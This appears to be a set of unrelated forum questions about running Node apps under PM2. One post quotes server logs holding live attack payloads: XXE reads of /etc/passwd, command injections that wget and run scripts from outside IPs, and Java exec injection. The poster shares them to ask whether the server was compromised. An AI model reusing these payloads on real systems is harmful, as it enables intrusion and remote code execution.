Questions[pm2](server)

Am using the DigitalOcean OpenLiteSpeed NodeJS image from marketplace for setting up the Droplet, for running my NextJS app.

I have setup everything and when tested, the home page was displaying properly. When I clicked the Login button (that uses NextAuth v4) it was throwing an issue because of another package. So using yarn, I removed the package and re-installed it.

So after installation, I ran the yarn build (that executes next build command) and build was generated. But my question is, how do I restart the app? Will doing the Graceful Restart from the Litespeed admin console (https://myserverip:7080) is fine? I didn't done anything with the PM2. I mean I followed this video tutorial for deploying the NextJS app in the droplet: https://www.youtube.com/watch?v=IktnuT9UgbM and he didn't mentioned anything about the PM2

Let me know your thoughts. If this isn't the correct forum, please feel free to move this question that best suits. Thanks

(EDIT: Turns out the "strange behavior" is explained by a simple oversight. Keeping this question here in case anyone else overlooks it)

I hope I am asking this question right.

I have a simple web server application set up that does very little. It runs on a dedicated Ubuntu host. The Node application runs through PM2 which runs through NGINX. Apache runs a separate server through NGINX that contains the pictures for the web application.

I have the node application set up to print all URL requests with a timestamp to stdout through the console.log() function. It also prints "404 Page Returned" a 404 page is returned. PM2 saves this in a log.

Like this:

Event.Server (2021-05-06T00:24:48+00:00): End of client HTTP request -> /

The moment I put the server online it was flooded with suspicious requests every day (which I'm assuming is normal). These URLs are clearly designed to take advantage of improper URL handling and try to access sensitive resources on the server. The logs would frequently look like this:

Event.Server (2021-05-06T02:17:41+00:00): End of client HTTP request -> /boaform/admin/formLogin?username=admin&psd=admin

404 Page Returned

All requests on my server are sent to the node application which simply checks if the entire URL matches a certain string of text and in a series of IF statements and, if not, returns a 404. The application is not set up to pull resources directly from URLs in any way, so I figured this was bulletproof to these types of attacks/sanitized.

I don't know much about cybersecurity, but I figured if there was a weakness in the server it would certainly be with Apache/NGINX configuration and not my Node application.

However, the application has started logging strange text to stdout. There is no timestamp. It does not say "Event.Server".

(WHOOPS, TURNS OUT THIS IS UNTRUE:) My application does not log ANYTHING without some other text explaining what it is logging.

Yet now I find all over the place in my application stuff logged similar to this:

0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://45.147.77.236/cache+-O+->+/dev/.p;sh+/dev/.p)&ipv=0
0|first    | _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfigusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/su")]=&password=&repeatedPassword=<?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover><?=md5("phpunit")?><?=md5("phpunit")?><?=md5("phpunit")?>cH<!DOCTYPE xxe [
0|first    | <!ELEMENT name ANY >
0|first    | <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
0|first    | <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
0|first    | <Request>
0|first    | <EMailAddress>aaaaa</EMailAddress>
0|first    | <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
0|first    | </Request>
0|first    | </Autodiscover>\x48\x48\x48\x48\x46\x00\x00\x00\x4a\x00\x00\x00\x57\x20\x00\x00\x00\x32\x00\x46\x00\x44\x00\x31\x00\x33\x00\x37\x00\x41\x00\x33\x00\x44\x00\x35\x00\x36\x00\x37\x00\x34\x00\x35\x00\x41\x00\x46\x00\x41\x00\x44\x00\x34\x00\x43\x00\x44\x00\x33\x00\x31\x00\x41\x00\x43\x00\x30\x00\x31\x00\x34\x00\x42\x00\x37\x00\x33\x00\x43\x00\x1c\x10\x11\x00\x00ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bin.sh%3B+wget+http%3A%2F%2F203.159.80.188%2Fbin.sh%3B+chmod+777+bin.sh%3B+.%2Fbin.sh%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1<?=md5("phpunit")?>

Again, this is in the stdout log for my node application; it's not coming from anywhere else. This doesn't seem possible to me from the way the application is set up, and leads me to believe that my server may have been compromised.

If I need to provide additional information I absolutely will.

If this is not a good place to post this question I would be very grateful if someone commented somewhere that is.

I am at a loss. My question is this:

Have I likely been compromised? If so, what do I need to do to secure this server?

I've tried many things but cron just won't restart pm2. I set the crontab -e with:

SHELL=/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin

*/10 * * * *  /usr/bin/node /usr/bin/pm2 restart all

And the I type:

cat /var/log/cron.log

And it says:

Apr  2 01:00:01 fatsecret CRON[8202]: (peteblank) CMD (/usr/bin/node /usr/bin/pm2 restart all)
Apr  2 01:00:01 fatsecret CRON[8201]: (peteblank) MAIL (mailed 78 bytes of output but got status 0x004b from MTA#012)
Apr  2 01:10:01 fatsecret CRON[8454]: (peteblank) CMD (/usr/bin/node /usr/bin/pm2 restart all)
Apr  2 01:10:01 fatsecret CRON[8453]: (peteblank) MAIL (mailed 78 bytes of output but got status 0x004b from MTA#012)

So it looks like its restarting every 10 minutes, but its not.

I have a ec2 free tier instance running linux, apache web server and nodejs app.

I have configured security group and it worked ok so far.

But now i can not access server through DOMAIN or IP with port (port have opened in inbound rule).

I use ssh to remote server and log pm2 but it work ok. Then I have using lynx to browser localhost in command and nodejs app still running in that port.

Apache log is active (running).

Before I write this post, I cannot connect ssh to server and instance have status StatusCheckFailed_Instance, and I reboot instance, so it worked ok. After that, about 2 hour, I access again and met this problem.

Can anyone suggest what make this problem. Thanks.

UPDATE

After reboot ec2 instance, it works ok, but after 10 minutes cannot connect to server.

I go to log of apache in error_log.

[Sat Aug 22 17:28:34.698537 2020] [mpm_event:notice] [pid 5050:tid 140422190045376] AH00492: caught SIGWINCH, shutting down gracefully
[Sat Aug 22 17:32:05.288561 2020] [suexec:notice] [pid 3666:tid 140585338529984] AH01232: suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sat Aug 22 17:32:05.314134 2020] [lbmethod_heartbeat:notice] [pid 3666:tid 140585338529984] AH02282: No slotmem from mod_heartmonitor
[Sat Aug 22 17:32:05.316840 2020] [mpm_event:notice] [pid 3666:tid 140585338529984] AH00489: Apache/2.4.43 () OpenSSL/1.0.2k-fips configured -- resuming normal operations
[Sat Aug 22 17:32:05.316866 2020] [core:notice] [pid 3666:tid 140585338529984] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND'
    

[Sat Aug 22 17:32:05.637067 2020] [proxy:error] [pid 3670:tid 140584547055360] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:6969 (127.0.0.1) failed
[Sat Aug 22 17:32:05.637097 2020] [proxy_http:error] [pid 3670:tid 140584547055360] [client *****:****] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://***.herokuapp.com/profile

At 17:32 I access ip ok. After 10 minutes it down. But in log file it error even in 17:32.

This is my apache config.

<VirtualHost *:80>    
     ServerAdmin **@gmail.com    
     DocumentRoot /var/www/html/hhs_api    
     ServerName api.***.xyz    
     Redirect / https://api.***.xyz/
    <Directory "/var/www/html/hhs_api">
         Order deny,allow
         Allow from all
         AllowOverride All
         Require all granted
   </Directory>    
<Location />
</Location>    
</VirtualHost>

This is ssl config

<VirtualHost _default_:443>
    SSLEngine On
    SSLProxyEngine On
    ProxyRequests Off
    ProxyPreserveHost On
    SSLProxyVerify none
    SSLProxyCheckPeerCN off
    SSLProxyCheckPeerName off
    SSLProxyCheckPeerExpire off
    ServerAdmin ***@gmail.com
    DocumentRoot /var/www/html/hhs_api
    ServerName api.***.xyz
    SSLCertificateFile "/etc/httpd/conf/hhs_api-ssl/certificate.crt"
    SSLCertificateChainFile "/etc/httpd/conf/hhs_api-ssl/ca_bundle.crt"
    SSLCertificateKeyFile "/etc/httpd/conf/hhs_api-ssl/private.key"

        ProxyPass /  http://127.0.0.1:6969/
        ProxyPassReverse / http://127.0.0.1:6969/

    <Directory "/var/www/html/hhs_api">
         Order deny,allow
         Allow from all
         AllowOverride All
         Require all granted
   </Directory>
</VirtualHost>

Before today, everything work ok. I dont know why.

I'm banging my head against the wall now for 3 days and counting. I hope you can tell me what am I doing wrong.

I have a Redis cluster with 3 masters and 3 slaves. A NodeJS application wishes to use the redis to store and serve data quickly. All seemed fine, however, we experienced occasional drops in the application. Turns out, it frequently restarted itself. At the time of a restart, the following messages are logged by the application (not by redis)

2020-08-05 08:48 +02:00: events.js:288
2020-08-05 08:48 +02:00:       throw er; // Unhandled 'error' event
2020-08-05 08:48 +02:00:       ^
2020-08-05 08:48 +02:00: 
2020-08-05 08:48 +02:00: Error: connect EMFILE 10.0.0.201:7101 - Local (undefined:undefined)
2020-08-05 08:48 +02:00:     at internalConnect (net.js:917:16)
2020-08-05 08:48 +02:00:     at defaultTriggerAsyncIdScope (internal/async_hooks.js:311:12)
2020-08-05 08:48 +02:00:     at net.js:1007:9
2020-08-05 08:48 +02:00:     at processTicksAndRejections (internal/process/task_queues.js:79:11)
2020-08-05 08:48 +02:00:     at runNextTicks (internal/process/task_queues.js:66:3)
2020-08-05 08:48 +02:00:     at listOnTimeout (internal/timers.js:518:9)
2020-08-05 08:48 +02:00:     at processTimers (internal/timers.js:492:7)
2020-08-05 08:48 +02:00: Emitted 'error' event on Socket instance at:
2020-08-05 08:48 +02:00:     at emitErrorNT (internal/streams/destroy.js:92:8)
2020-08-05 08:48 +02:00:     at emitErrorAndCloseNT (internal/streams/destroy.js:60:3)
2020-08-05 08:48 +02:00:     at processTicksAndRejections (internal/process/task_queues.js:84:21)
2020-08-05 08:48 +02:00:     at runNextTicks (internal/process/task_queues.js:66:3)
2020-08-05 08:48 +02:00:     at listOnTimeout (internal/timers.js:518:9)
2020-08-05 08:48 +02:00:     at processTimers (internal/timers.js:492:7) {
2020-08-05 08:48 +02:00:   errno: 'EMFILE',
2020-08-05 08:48 +02:00:   code: 'EMFILE',
2020-08-05 08:48 +02:00:   syscall: 'connect',
2020-08-05 08:48 +02:00:   address: '10.0.0.201',
2020-08-05 08:48 +02:00:   port: 7101
2020-08-05 08:48 +02:00: }
2020-08-05 08:48 +02:00: events.js:288
2020-08-05 08:48 +02:00:       throw er; // Unhandled 'error' event
2020-08-05 08:48 +02:00:       ^
2020-08-05 08:48 +02:00: 
2020-08-05 08:48 +02:00: Error [ERR_IPC_CHANNEL_CLOSED]: Channel closed
2020-08-05 08:48 +02:00:     at ChildProcess.target.send (internal/child_process.js:679:16)
2020-08-05 08:48 +02:00:     at Worker.send (internal/cluster/worker.js:45:28)
2020-08-05 08:48 +02:00:     at Server.<anonymous> (/totally/secret/folder/structure/app.js:136:16)
2020-08-05 08:48 +02:00:     at Server.emit (events.js:311:20)
2020-08-05 08:48 +02:00:     at TCP.onconnection (net.js:1554:8)
2020-08-05 08:48 +02:00: Emitted 'error' event on Worker instance at:
2020-08-05 08:48 +02:00:     at ChildProcess.<anonymous> (internal/cluster/worker.js:29:12)
2020-08-05 08:48 +02:00:     at ChildProcess.emit (events.js:311:20)
2020-08-05 08:48 +02:00:     at internal/child_process.js:683:35
2020-08-05 08:48 +02:00:     at processTicksAndRejections (internal/process/task_queues.js:79:11) {
2020-08-05 08:48 +02:00:   code: 'ERR_IPC_CHANNEL_CLOSED'
2020-08-05 08:48 +02:00: }
2020-08-05 08:48 +02:00: WARNING: NODE_APP_INSTANCE value of '0' did not match any instance config file names.
2020-08-05 08:48 +02:00: WARNING: See https://github.com/lorenwest/node-config/wiki/Strict-Mode
2020-08-05 08:48 +02:00: WARNING: NODE_APP_INSTANCE value of '0' did not match any instance config file names.
2020-08-05 08:48 +02:00: WARNING: See https://github.com/lorenwest/node-config/wiki/Strict-Mode
2020-08-05 08:48 +02:00: WARNING: NODE_APP_INSTANCE value of '0' did not match any instance config file names.
2020-08-05 08:48 +02:00: WARNING: See https://github.com/lorenwest/node-config/wiki/Strict-Mode
2020-08-05 08:48 +02:00: WARNING: NODE_APP_INSTANCE value of '0' did not match any instance config file names.
2020-08-05 08:48 +02:00: WARNING: See https://github.com/lorenwest/node-config/wiki/Strict-Mode
2020-08-05 08:48 +02:00: WARNING: NODE_APP_INSTANCE value of '0' did not match any instance config file names.
2020-08-05 08:48 +02:00: WARNING: See https://github.com/lorenwest/node-config/wiki/Strict-Mode
2020-08-05 08:48 +02:00: (node:28699) UnhandledPromiseRejectionWarning: TypeError: Cannot read property 'emit' of undefined
2020-08-05 08:48 +02:00:     at /totally/secret/folder/structure/app.js:323:34
2020-08-05 08:48 +02:00:     at runMicrotasks (<anonymous>)
2020-08-05 08:48 +02:00:     at processTicksAndRejections (internal/process/task_queues.js:97:5)
2020-08-05 08:48 +02:00: (node:28699) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). To terminate the node process on unhandled promise rejection, use the CLI flag `--unhandled-rejections=strict` (see https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode). (rejection id: 530)
2020-08-05 08:48 +02:00: (node:28699) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
2020-08-05 08:48 +02:00: (node:28699) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 201 error listeners added to [Cluster]. Use emitter.setMaxListeners() to increase limit

What I've tried so far is to disable either AOF or RDB but with no success, the occasional restarts still happen. What else could be the cause of this issue? The developers say the application simply cannot connect to Redis, thus failing. But that is impossible. Pinging the server and watching the uptime of the service confirms 100%, that the server itself is always reachable and available for the application. All 6 of them.